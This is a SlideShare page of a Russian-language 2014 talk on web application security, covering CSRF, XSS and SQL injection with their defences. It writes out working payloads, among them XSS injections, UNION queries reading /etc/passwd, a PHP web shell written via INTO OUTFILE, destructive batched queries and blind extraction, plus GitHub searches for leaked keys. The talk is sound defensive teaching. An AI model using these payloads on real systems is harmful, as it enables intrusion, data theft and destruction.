SlideShare a Scribd company logo
1 of 66
Download to read offline
Web application
security
Максим Кочкин
OWASP TOP-10 (2013)
1. Injection
2. Broken Authentication and Session Management
3. Cross-Site Scripting (XSS)
4. Insecure Direct Object References
5. Security Misconfiguration
6. Sensitive Data Exposure
7. Missing Function Level Access Control
8. Cross-Site Request Forgery (CSRF)
9. Using Components with Known Vulnerabilities
10. Unvalidated Redirects and Forwards
Сводная статистика по распространенности угроз
Угроза Подвержено сайтов, %
WhiteHat
(2013)
Cenzic (2013)
Contextis
(2013)
Avg
XSS 53 60 56 56
SQL Injection 7 20 14 14
CSRF 26 22 34 27
Information Leakage 55 36 60 50
Authentication & authorization
11 56 60 42
Реальность от WHID (март 2014)
Атака От общего числа, %
XSS 7
SQL Injection 18
CSRF 2
Denial of Service 20
Brute Force 4
https://www.google.com/fusiontables/data?docid=1Uk2Fs373gG-yV4LbQsvoRQg7K_2gpLs5ZydpxA
CSRF
Exploitability AVERAGE
Prevalence COMMON
Detectability EASY
Impact MODERATE
Cross-Site Request Forgery
(WASC-09)
Атака, при которой жертва без согласия
выполняет от своего имени запрос.
Другими словами, атакующий может
управлять некоторыми действиями жертвы в
свою пользу.
Cross-Site Request Forgery
Атака
● на сайте есть действие «подарить подарок»
● действие выполняется ajax-запросом при клике по
ссылке, параметр — id получателя
● но на самом деле достаточно обычного GET-запроса
● жертве подбрасывается ссылка
- напрямую: в мессенджере, в блоге, по почте, …
- укороченная — скрыть payload
- на сайте атакующего: картинка или
подготовленная форма
Cross-Site Request Forgery
Атака, простейшие варианты
GET http://goo.gl/d0LUAg
<img src="[GET request]">
<form action="[url]" method="post">...</form>
<script>form.submit()</script>
Cross-Site Request Forgery
Простые правила
GET — только для получения данных
Для изменения данных — POST, PUT, DELETE
(это не защита!)
Cross-Site Request Forgery
Защита
Ненадежные способы
● принимать только POST
● HTTP_REFERER
● подтверждение вторым запросом
● многошаговый процесс
Cross-Site Request Forgery
Защита
● токен
- сессионный токен (Synchronizer Token)
- двойная отправка куки (Double Submit Cookies)
- зашифрованный токен (Encrypted Token)
● подтверждение (пароль, капча)
● Origin (request header) (не путать с CORS)
[https://wiki.mozilla.org/Security/Origin]
- iframe, embed, applet, script, form, XHR, redirect
Cross-Site Request Forgery
Аудит
● w3af [http://w3af.org/plugins/audit/csrf] — только
схема с куками.
● Arachni [http://www.arachni-scanner.com/] — 4-
этапная проверка, умеет отличать формы,
которые отображаются только для залогиненных
юзеров, проверяет куки и токены.
● Руками и глазами.
Cross-Site Request Forgery
Logout
CSRF на logout? R U serious? Ahahaha!
Oh, wait…
http://superlogout.com/
Я знаю как минимум один сайт, для которого
это — реальная проблема: odnoklassniki.ru :)
XSS
Exploitability AVERAGE
Prevalence VERY WIDESPREAD
Detectability EASY
Impact MODERATE
Cross-Site Scripting
(WASC-08)
Атака, при которой атакующий через уязвимость
заставляет выполняться свой код в браузере
жертвы.
Браузер может быть встроен в ПО и иметь доступ
к его компонентам.
Обычно код — JS, но также возможно выполнение
VBScript, ActiveX, Java, Flash и других
поддерживаемых браузером технологий.
Cross-Site Scripting
Угроза
● фишинг
● кража сессии (если куки не httponly)
● кража пользовательских данных жертвы со
страниц
● выполнение нежелательных действий от
имени жертвы (обход CSRF-защиты)
Cross-Site Scripting
Типы
● TYPE 1 — отражённая (non-persistent,
reflected)
● TYPE 2 — хранимая (persistent, stored)
● TYPE 0 — DOM-based
Cross-Site Scripting
TYPE 1, отражённая
● формируется запрос с пользовательскими
данными userdata
● в ответе данные userdata встраиваются в HTML
без надлежащей фильтрации
Чаще всего это
● заполнение полей формы в случае ошибки
● вывод поискового текста в форме поиска
Cross-Site Scripting
TYPE 1, отражённая
<div id="pager">
<a href="{{url}}">{{pageNum}}</a>
</div>
GET /search.php?a=A"><script>alert("xss")</script>
<div id="pager">
<a href="/search.php?a=A">
<script>alert("xss")</script>&p=42">42
</a>
</div>
Cross-Site Scripting
TYPE 1, отражённая
<div id="pager">
<a href="{{url}}">{{pageNum}}</a>
</div>
GET /search.php?a=A"><script>alert("xss")</script>
<div id="pager">
<a href="/search.php?a=A">
<script>alert("xss")</script>&p=42">42
</a>
</div>
Cross-Site Scripting
TYPE 1, отражённая
<div id="pager">
<a href="{{url}}">{{pageNum}}</a>
</div>
GET /search.php?a=A"><script>alert("xss")</script>
<div id="pager">
<a href="/search.php?a=A">
<script>alert("xss")</script>&p=42">42
</a>
</div>
Cross-Site Scripting
TYPE 2, хранимая
● пользовательские данные сохраняются в БД
без надлежащей фильтрации
● в дальнейшем эти данные выводятся на
HTML страницу из БД без надлежащей
фильтрации
Cross-Site Scripting
TYPE 2, хранимая
url=x" onerror=alert("xss")
<div id="post-100500">
Дорогой дневничок!
<img src="x" onerror=alert("xss")">
</div>
Cross-Site Scripting
TYPE 2, хранимая
url=x" onerror=alert("xss")
<div id="post-100500">
Дорогой дневничок!
<img src="x" onerror=alert("xss")">
</div>
Cross-Site Scripting
TYPE 3, DOM-based
Атака полностью реализуется на клиенте без
участия сервера
● пользователь вводит данные в URL или на
страницу (формы)
● эти данные используются клиентом (JS
приложением) для построения HTML страницы
без надлежащей фильтрации
Cross-Site Scripting
TYPE 3, DOM-based
var pos=document.URL.indexOf("name=")+5;
var r=document.URL.substring(pos,document.URL.length)
document.write('<b>Hello, '+r+'!</b>');
GET /domxss/?#name=<img src=x onerror=alert("xss")>
Hello, <img src=x onerror=alert("xss")>!
Cross-Site Scripting
TYPE 3, DOM-based
var pos=document.URL.indexOf("name=")+5;
var r=document.URL.substring(pos,document.URL.length)
document.write('<b>Hello, '+r+'!</b>');
GET /domxss/?#name=<img src=x onerror=alert("xss")>
Hello, <img src=x onerror=alert("xss")>!
Cross-Site Scripting
TYPE 3, DOM-based
var pos=document.URL.indexOf("name=")+5;
var r=document.URL.substring(pos,document.URL.length)
document.write('Hello, '+r+'!');
GET /domxss/?#name=<img src=x onerror=alert("xss")>
Hello, <img src=x onerror=alert("xss")>!
Cross-Site Scripting
Меры предотвращения
Правила OWASP
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
ESAPI (The OWASP Enterprise Security API)
https://code.google.com/p/owasp-esapi-java/
https://code.google.com/p/owasp-esapi-php/
https://code.google.com/p/owasp-esapi-python/
httponly куки
CSP (Content Security Policy)
Cross-Site Scripting
CSP
CSP — Content Security Policy [Google, Mozilla]
http://w3c.github.io/webappsec/specs/content-security-policy/csp-specification.dev.html
Кто уже поддерживает?
http://caniuse.com/#feat=contentsecuritypolicy
Кто уже использует? (из alexa top-25)
- mail.yandex.ru, e.mail.ru, facebook.com
Cross-Site Scripting
CSP: пример
HTTP Response Header
Content-Security-Policy:
default-src 'none'
script-src 'self' http://*.my.com apis.google.com;
style-src http://static.mysite.com:81;
img-src *://cdn.somecdn.com;
connect-src 'self' http://api.mysite.com;
object-src 'none';
report-uri /report_endpoint;
Cross-Site Scripting
Аудит
OWASP ZAP
[https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project]
прокси с последующим анализом логов.
OWASP XSSer [https://www.owasp.org/index.php/OWASP_XSSER]
очень умный, гибко настраивается, многое умеет.
w3af [http://w3af.org/plugins/audit/xss]
SQL Injection
Exploitability EASY
Prevalence COMMON
Detectability AVERAGE
Impact SEVERE
SQL Injection
(WASC-19)
Атака на ПО, использующее входные данные
для построения SQL-запросов,
при которой атакующий изменяет логику
выполнения SQL-запроса к БД.
В некоторых случаях атака способна привести
к выполнению команд ОС и захвату системы.
SQL Injection
Простейший пример
$q = "SELECT * FROM table WHERE id={$_GET['id']}";
query($q);
GET http://site.com/query.php?id=1 OR 1=1
// SELECT * FROM table WHERE id=1 OR 1=1
// Хуже только query($_GET['q'])
SQL Injection
Простейший пример
$q = "SELECT * FROM table WHERE id={$_GET['id']}";
query($q);
GET http://site.com/query.php?id=1 OR 1=1
// SELECT * FROM table WHERE id=1 OR 1=1
// Хуже только query($_GET['q'])
SQL Injection
Схема атаки
● поиск точки, использующей
пользовательские данные в SQL-запросе
● выполнение фингерпринтинга СУБД
● поиск уязвимости, позволяющей выполнить
атаку
● эксплуатация уязвимости
SQL Injection
Фингерпринтинг СУБД
● сообщения об ошибках на страницах
● баннер (version(), @@version)
- SELECT version() --> 5.6.12-56
● диалект SQL
- MySQL: WHERE id = 1 /*!50067 AND 47=47 */
- PostgreSQL: AND 82::int=82
● поведение некоторых функций
● вакансии или собеседование :)
SQL Injection
Эксплуатация
Типы
● обычная инъекция — по выводимым ошибкам
● инъекция вслепую (Blind Injection) — вывод ошибок
отключен
Техники
● UNION
● batched запросы
● boolean-based blind
● time-based blind
SQL Injection
Примеры: UNION (full flaw)
SELECT a, b, c FROM table WHERE id={$id}
query.php?id=1 and 1=1 -- OK
query.php?id=1 and 1=2 -- error
SQL Injection
Примеры: UNION (full flaw)
SELECT a, b, c FROM table WHERE id={$id}
query.php?id=1 order by 1 -- OK
query.php?id=1 order by 2 -- OK
query.php?id=1 order by 3 -- OK
query.php?id=1 order by 4 -- error!
SQL Injection
Примеры: UNION (full flaw)
SELECT a, b, c FROM table WHERE id={$id}
query.php?id=1
Name: Maksim [ksimka]
Age: 28
query.php?id=-1 union all select 1, 2, 3
Name: 1 [2]
Age: 3
SQL Injection
Примеры: UNION (full flaw)
SELECT a, b, c FROM table WHERE id={$id}
query.php?id=1
Name: Maksim [ksimka]
Age: 28
query.php?id=-1 union all select 1, 2, 3
Name: 1 [2]
Age: 3
SQL Injection
Примеры: UNION (full flaw)
SELECT a, b, c FROM table WHERE id={$id}
query.php?id=-1 union all select version(), user(), database()
Name: 5.0.0-42 [root@localhost]
Age: Main
SQL Injection
Примеры: UNION (full flaw)
SELECT a FROM table WHERE id={$id}
query.php?id=-1 union all select
concat(version(),char(58),user(),char(58),database())
Name: 5.0.0-42:root@localhost:Main
SQL Injection
Примеры: UNION (full flaw)
SELECT a FROM table WHERE id={$id}
query.php?id=-1 union all select
load_file('/etc/passwd')
query.php?id=-1
union all select '<?php system($_GET["cmd"]); ?>'
into outfile '/www/cmd.php'
SQL Injection
Примеры: batched queries
SELECT a FROM table WHERE id={$id}
query.php?id=1;drop table ...
query.php?id=1;drop user ...
query.php?id=1;create user ...
query.php?id=1;grant all privileges on ...
query.php?id=1;select ... into outfile ...
SQL Injection
Примеры: boolean-based blind
SELECT a FROM table WHERE id={$id}
query.php?id=1 and ord(mid((select schema_name from
information_schema.schemata limit 1 offset D), N, 1)) > A
D — номер БД в таблице schemata
N — номер очередного символа
A — ASCII-код символа
select schema_name from information_schema.schemata — имя БД
mid(dbname, N, 1) — один символ имени
ord(char) — ASCII-код, удобнее сравнивать
SQL Injection
Примеры: time-based blind (double blind)
SELECT a FROM table WHERE id={$id}
query.php?id=1 or if(ord(mid((select schema_name from
information_schema.schemata limit 1 offset D), N, 1)) > A,
sleep(S), true)
S — в зависимости от нормального времени отклика сайта
Основа — как в boolean-based blind
if (bingo, sleep(S), true) — если bingo, то +S секунд
к отклику
SQL Injection
Защита и превентивные меры
● связывание параметров (prepared statements,
биндинг, параметризованные запросы) с
экранированием значений
- SELECT * FROM table WHERE columna=? AND columnb=?
● файрволлы (детекция попыток фингерпринтинга и
эксплуатаций) — NAXSI, ModSecurity
● разграничение прав доступа
- user: SELECT, INSERT, UPDATE, …
- superuser: CREATE, DROP, ALTER, …
● валидация и фильтрация всего :)
SQL Injection
Аудит
sqlmap [http://sqlmap.org/] — умеет всё.
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, …
Знает массу техник исследования и эксплуатации.
Да, умеет полноценно эксплуатировать вплоть до
сливания полного дампа БД.
Вряд ли вам понадобится другой инструмент.
Зачем нам всё это знать?
Чтобы понимать: одна маленькая ошибка может
стоить бесконечно дорого.
Чтобы понимать, откуда ВНЕЗАПНО может прийти
беда.
Чтобы уметь разрабатывать инструменты
противодействия.
Чтобы уметь пользоваться инструментами и писать
безопасный код.
Ну и просто потому что это круто :)
P.S.
Bug bounty программы
Когда у тебя огромная кодовая база, изменяющаяся с
дикой скоростью, невозможно уследить за всем.
Bug bounty программа хорошо конвертирует blackhats в
whitehats.
Список таких программ
https://bugcrowd.com/list-of-bug-bounty-programs/
Вознаграждения — от маечки до $20000 и больше
(например, у Facebook нет верхней границы)
Wamba Bug Bounty
http://corp.wamba.com/ru/developer/security/
Вознаграждения
● критичные сервисы — от 5 000 до 100 000 руб.
● прочие сервисы — от 3 000 до 25 000 руб.
● зал славы
http://corp.wamba.com/ru/
m.kochkin@wamba.com
@m_ksimka
Апрель 2014
Приложение
Атаки на браузеры
http://html5sec.org/
Теперь не только <script> и <img onerror/>
Сотни способов выполнить js-код на клиенте, используя баги
или особенности работы с HTML в некоторых браузерах.
Атаки на браузеры
cookie-bomb (by @homakov)
http://homakov.blogspot.ru/2014/01/cookie-bomb-or-lets-break-internet.html
RFC2109: A Set-Cookie from request-host x.foo.com for
Domain=.foo.com would be accepted.
Если я могу выполнять код на x.foo.com, я могу ставить
куки на .foo.com.
1 кука = 4кБ, а мы можем поставить сотни кук.
400кБ+ заголовков — веб-сервер просто не отвечает.
Итого: DoS сервиса (не всего, для юзера) куками
Социальная инженерия
Self-XSS
https://www.facebook.com/selfxss
Социальная инженерия
Chunkhost и Sendgrid (март 2014)
https://chunkhost.com/blog/15/huge_security_hole_in_sendgrid
Как в старые добрые времена
● хакер покупает домен chunkhost.info
● звонит в поддержку sendgrid и просит сменить мыло
support@chunkhost.com
● на support@chunkhost.info, поддержка говорит ОК (wtf?)
● хакер включает в sendgrid фичу BCC, инициирует сброс паролей
пары акков на chunkhost, получает копию писем со ссылкой для
сброса
● аккаунты и слив репутации chunkhost спасает только
двухфакторная аутентификация на этих акках
Социальная инженерия
CSS-Tricks и Media Temple (март 2014)
http://shoptalkshow.com/episodes/special-one-one-hacker/
Как в еще более старые добрые времена
● хакер звонит в поддержку MT и просит поменять email от акка
Криса, потому что, якобы, не помнит его
● поддержка говорит «ок, только пришлите скан своих документов»
● хакер подделывает документы и получает акк (sic!)
● кроме этого захватывает пачку других сайтов
● чувак говорит, что мог бы захватить jquery.com (тоже хостится на
MT) и заразить исходники, которые используются на тысячах
сайтов
● еще чувак говорит, что ничего не понимает в этих ваших sql-
инъекциях и прочей ерунде, но ему это и не нужно :)
Github, пароли в репозиториях
DB config (PHP)
https://github.com/search?q=define%28%22DB_PASSWORD%22&ref=searchresults&type=Code
≈60000
AWS private key
https://github.com/search?q=AKIAJ&type=Code&ref=searchresults
≈1000
RSA private key
https://github.com/search?o=desc&q=%22RSA+PRIVATE+KEY---
%22&ref=searchresults&s=indexed&type=Code
≈44000
DOM-based XSS
https://code.google.com/p/domxsswiki/
http://www.domxss.com/domxss/
SQL Injection
http://websec.ca/kb/sql_injection
http://www.sqlinjectionwiki.com/
http://www.blackhatlibrary.net/SQL_injection
http://www.troyhunt.com/2013/07/everything-you-wanted-to-know-about-
sql.html
Потренироваться
http://testphp.vulnweb.com (Acunetix)
http://testasp.vulnweb.com (Acunetix)
http://testaspnet.vulnweb.com (Acunetix)
http://testhtml5.vulnweb.com/ (Acunetix)
http://demo.testfire.net (IBM)
http://zero.webappsecurity.com (HP)
http://crackme.cenzic.com (Cenzic)
http://www.webscantest.com (NTO)
http://www.dvwa.co.uk/ (RandomStorm, offline)
https://code.google.com/p/webgoat/ (OWASP, offline)

More Related Content

What's hot

Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условияхАнализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условияхDmitry Evteev
 
Безопасность веб-приложений: starter edition
Безопасность веб-приложений: starter editionБезопасность веб-приложений: starter edition
Безопасность веб-приложений: starter editionAndrew Petukhov
 
Безопасность Drupal сайтов
Безопасность Drupal сайтовБезопасность Drupal сайтов
Безопасность Drupal сайтовEugene Fidelin
 
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
Безопасность веб-приложений.  Так ли опасна виртуальная угроза?Безопасность веб-приложений.  Так ли опасна виртуальная угроза?
Безопасность веб-приложений. Так ли опасна виртуальная угроза?phpdevby
 
Тестирование на проникновение в сетях Microsoft
Тестирование на проникновение в сетях MicrosoftТестирование на проникновение в сетях Microsoft
Тестирование на проникновение в сетях MicrosoftDmitry Evteev
 
безопасность веб приложений сегодня. дмитрий евтеев. зал 4
безопасность веб приложений сегодня. дмитрий евтеев. зал 4безопасность веб приложений сегодня. дмитрий евтеев. зал 4
безопасность веб приложений сегодня. дмитрий евтеев. зал 4rit2011
 
Безопасность веб-приложений сегодня
Безопасность веб-приложений сегодняБезопасность веб-приложений сегодня
Безопасность веб-приложений сегодняDmitry Evteev
 
XSS. Обходы фильтров и защит.
XSS. Обходы фильтров и защит.XSS. Обходы фильтров и защит.
XSS. Обходы фильтров и защит.Дмитрий Бумов
 
Как взламывают сети государственных учреждений
Как взламывают сети государственных учрежденийКак взламывают сети государственных учреждений
Как взламывают сети государственных учрежденийDmitry Evteev
 
Е. Фиделин Безопасность Drupal сайтов
Е. Фиделин Безопасность Drupal сайтовЕ. Фиделин Безопасность Drupal сайтов
Е. Фиделин Безопасность Drupal сайтовAlbina Tiupa
 
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...Как мануальный тестировщик может базово протестировать безопасность, Евгений ...
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...Sigma Software
 
ЄВГЕНІЙ ТОЛЧИНСКИЙ «Як manual QA може протестувати проект з боку security» QA...
ЄВГЕНІЙ ТОЛЧИНСКИЙ «Як manual QA може протестувати проект з боку security» QA...ЄВГЕНІЙ ТОЛЧИНСКИЙ «Як manual QA може протестувати проект з боку security» QA...
ЄВГЕНІЙ ТОЛЧИНСКИЙ «Як manual QA може протестувати проект з боку security» QA...GoQA
 
Тестирование на проникновение в сетях Microsoft (v.2)
Тестирование на проникновение в сетях Microsoft (v.2)Тестирование на проникновение в сетях Microsoft (v.2)
Тестирование на проникновение в сетях Microsoft (v.2)Dmitry Evteev
 
ярослав рабоволюк
ярослав рабоволюкярослав рабоволюк
ярослав рабоволюкkuchinskaya
 
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...Mikhail Egorov
 
Где прячутся мобильные вирусы — Григорий Земсков
Где прячутся мобильные вирусы — Григорий ЗемсковГде прячутся мобильные вирусы — Григорий Земсков
Где прячутся мобильные вирусы — Григорий ЗемсковYandex
 
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...Badoo Development
 

What's hot (19)

Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условияхАнализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
 
Безопасность веб-приложений: starter edition
Безопасность веб-приложений: starter editionБезопасность веб-приложений: starter edition
Безопасность веб-приложений: starter edition
 
Безопасность Drupal сайтов
Безопасность Drupal сайтовБезопасность Drupal сайтов
Безопасность Drupal сайтов
 
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
Безопасность веб-приложений.  Так ли опасна виртуальная угроза?Безопасность веб-приложений.  Так ли опасна виртуальная угроза?
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
 
Тестирование на проникновение в сетях Microsoft
Тестирование на проникновение в сетях MicrosoftТестирование на проникновение в сетях Microsoft
Тестирование на проникновение в сетях Microsoft
 
безопасность веб приложений сегодня. дмитрий евтеев. зал 4
безопасность веб приложений сегодня. дмитрий евтеев. зал 4безопасность веб приложений сегодня. дмитрий евтеев. зал 4
безопасность веб приложений сегодня. дмитрий евтеев. зал 4
 
Безопасность веб-приложений сегодня
Безопасность веб-приложений сегодняБезопасность веб-приложений сегодня
Безопасность веб-приложений сегодня
 
XSS. Обходы фильтров и защит.
XSS. Обходы фильтров и защит.XSS. Обходы фильтров и защит.
XSS. Обходы фильтров и защит.
 
KazHackStan - "><script>alert()</script>
KazHackStan - "><script>alert()</script>KazHackStan - "><script>alert()</script>
KazHackStan - "><script>alert()</script>
 
PT MIFI Labxss
PT MIFI LabxssPT MIFI Labxss
PT MIFI Labxss
 
Как взламывают сети государственных учреждений
Как взламывают сети государственных учрежденийКак взламывают сети государственных учреждений
Как взламывают сети государственных учреждений
 
Е. Фиделин Безопасность Drupal сайтов
Е. Фиделин Безопасность Drupal сайтовЕ. Фиделин Безопасность Drupal сайтов
Е. Фиделин Безопасность Drupal сайтов
 
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...Как мануальный тестировщик может базово протестировать безопасность, Евгений ...
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...
 
ЄВГЕНІЙ ТОЛЧИНСКИЙ «Як manual QA може протестувати проект з боку security» QA...
ЄВГЕНІЙ ТОЛЧИНСКИЙ «Як manual QA може протестувати проект з боку security» QA...ЄВГЕНІЙ ТОЛЧИНСКИЙ «Як manual QA може протестувати проект з боку security» QA...
ЄВГЕНІЙ ТОЛЧИНСКИЙ «Як manual QA може протестувати проект з боку security» QA...
 
Тестирование на проникновение в сетях Microsoft (v.2)
Тестирование на проникновение в сетях Microsoft (v.2)Тестирование на проникновение в сетях Microsoft (v.2)
Тестирование на проникновение в сетях Microsoft (v.2)
 
ярослав рабоволюк
ярослав рабоволюкярослав рабоволюк
ярослав рабоволюк
 
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
 
Где прячутся мобильные вирусы — Григорий Земсков
Где прячутся мобильные вирусы — Григорий ЗемсковГде прячутся мобильные вирусы — Григорий Земсков
Где прячутся мобильные вирусы — Григорий Земсков
 
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
 

Similar to Максим Кочкин (Wamba)

Тестирование защищенности веб-приложений
Тестирование защищенности веб-приложенийТестирование защищенности веб-приложений
Тестирование защищенности веб-приложенийSQALab
 
Waf.js: как защищать веб-приложения с использованием JavaScript
Waf.js: как защищать веб-приложения с использованием JavaScriptWaf.js: как защищать веб-приложения с использованием JavaScript
Waf.js: как защищать веб-приложения с использованием JavaScriptPositive Hack Days
 
Svyatoslav Login
Svyatoslav LoginSvyatoslav Login
Svyatoslav LoginDakiry
 
Security testing
Security testingSecurity testing
Security testingMageCloud
 
Информационная безопасность в аспекте веб-разработки
Информационная безопасность в аспекте веб-разработкиИнформационная безопасность в аспекте веб-разработки
Информационная безопасность в аспекте веб-разработкиE-Journal ICT4D
 
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...Как мануальный тестировщик может базово протестировать безопасность, Евгений ...
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...Sigma Software
 
Методы обхода Web Application Firewall
Методы обхода Web Application FirewallМетоды обхода Web Application Firewall
Методы обхода Web Application FirewallDmitry Evteev
 
Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.
Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.
Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.revisium
 
WAF наше все?!
WAF наше все?!WAF наше все?!
WAF наше все?!Dmitry Evteev
 
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...Ontico
 
Blind SQL Injections. Достаточно ли хороши ваши тесты?
Blind SQL Injections. Достаточно ли хороши ваши тесты?Blind SQL Injections. Достаточно ли хороши ваши тесты?
Blind SQL Injections. Достаточно ли хороши ваши тесты?Igor Bondarenko
 
Blind Sql Injections. Хороши ли ваши тесты?
Blind Sql Injections. Хороши ли ваши тесты?Blind Sql Injections. Хороши ли ваши тесты?
Blind Sql Injections. Хороши ли ваши тесты?Zestranec
 
QA Fest 2015. Юрий Федько. XSS - от простого к сложному!
QA Fest 2015. Юрий Федько. XSS - от простого к сложному!QA Fest 2015. Юрий Федько. XSS - от простого к сложному!
QA Fest 2015. Юрий Федько. XSS - от простого к сложному!QAFest
 
[ONSEC ]XSS vs waf
[ONSEC ]XSS vs waf[ONSEC ]XSS vs waf
[ONSEC ]XSS vs wafd0znp
 
Информационная безопасность и web-приложения
Информационная безопасность и web-приложенияИнформационная безопасность и web-приложения
Информационная безопасность и web-приложенияMaxim Krentovskiy
 
Безопасность Node.js / Илья Вербицкий (Независимый консультант)
Безопасность Node.js / Илья Вербицкий (Независимый консультант)Безопасность Node.js / Илья Вербицкий (Независимый консультант)
Безопасность Node.js / Илья Вербицкий (Независимый консультант)Ontico
 
Взломать сайт на ASP.NET
Взломать сайт на ASP.NETВзломать сайт на ASP.NET
Взломать сайт на ASP.NETPositive Hack Days
 

Similar to Максим Кочкин (Wamba) (20)

Тестирование защищенности веб-приложений
Тестирование защищенности веб-приложенийТестирование защищенности веб-приложений
Тестирование защищенности веб-приложений
 
Waf.js: как защищать веб-приложения с использованием JavaScript
Waf.js: как защищать веб-приложения с использованием JavaScriptWaf.js: как защищать веб-приложения с использованием JavaScript
Waf.js: как защищать веб-приложения с использованием JavaScript
 
Svyatoslav Login
Svyatoslav LoginSvyatoslav Login
Svyatoslav Login
 
Security testing
Security testingSecurity testing
Security testing
 
Информационная безопасность в аспекте веб-разработки
Информационная безопасность в аспекте веб-разработкиИнформационная безопасность в аспекте веб-разработки
Информационная безопасность в аспекте веб-разработки
 
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...Как мануальный тестировщик может базово протестировать безопасность, Евгений ...
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...
 
PT MIFI Labxss
PT  MIFI LabxssPT  MIFI Labxss
PT MIFI Labxss
 
Методы обхода Web Application Firewall
Методы обхода Web Application FirewallМетоды обхода Web Application Firewall
Методы обхода Web Application Firewall
 
Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.
Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.
Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.
 
WAF наше все?!
WAF наше все?!WAF наше все?!
WAF наше все?!
 
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
 
Blind SQL Injections. Достаточно ли хороши ваши тесты?
Blind SQL Injections. Достаточно ли хороши ваши тесты?Blind SQL Injections. Достаточно ли хороши ваши тесты?
Blind SQL Injections. Достаточно ли хороши ваши тесты?
 
Blind Sql Injections. Хороши ли ваши тесты?
Blind Sql Injections. Хороши ли ваши тесты?Blind Sql Injections. Хороши ли ваши тесты?
Blind Sql Injections. Хороши ли ваши тесты?
 
QA Fest 2015. Юрий Федько. XSS - от простого к сложному!
QA Fest 2015. Юрий Федько. XSS - от простого к сложному!QA Fest 2015. Юрий Федько. XSS - от простого к сложному!
QA Fest 2015. Юрий Федько. XSS - от простого к сложному!
 
[ONSEC ]XSS vs waf
[ONSEC ]XSS vs waf[ONSEC ]XSS vs waf
[ONSEC ]XSS vs waf
 
Securing Rails Applications
Securing Rails ApplicationsSecuring Rails Applications
Securing Rails Applications
 
Информационная безопасность и web-приложения
Информационная безопасность и web-приложенияИнформационная безопасность и web-приложения
Информационная безопасность и web-приложения
 
Безопасность Node.js / Илья Вербицкий (Независимый консультант)
Безопасность Node.js / Илья Вербицкий (Независимый консультант)Безопасность Node.js / Илья Вербицкий (Независимый консультант)
Безопасность Node.js / Илья Вербицкий (Независимый консультант)
 
Взломать сайт на ASP.NET
Взломать сайт на ASP.NETВзломать сайт на ASP.NET
Взломать сайт на ASP.NET
 
Sql injection
Sql injectionSql injection
Sql injection
 

More from Ontico

One-cloud — система управления дата-центром в Одноклассниках / Олег Анастасье...
One-cloud — система управления дата-центром в Одноклассниках / Олег Анастасье...One-cloud — система управления дата-центром в Одноклассниках / Олег Анастасье...
One-cloud — система управления дата-центром в Одноклассниках / Олег Анастасье...Ontico
 
Масштабируя DNS / Артем Гавриченков (Qrator Labs)
Масштабируя DNS / Артем Гавриченков (Qrator Labs)Масштабируя DNS / Артем Гавриченков (Qrator Labs)
Масштабируя DNS / Артем Гавриченков (Qrator Labs)Ontico
 
Создание BigData-платформы для ФГУП Почта России / Андрей Бащенко (Luxoft)
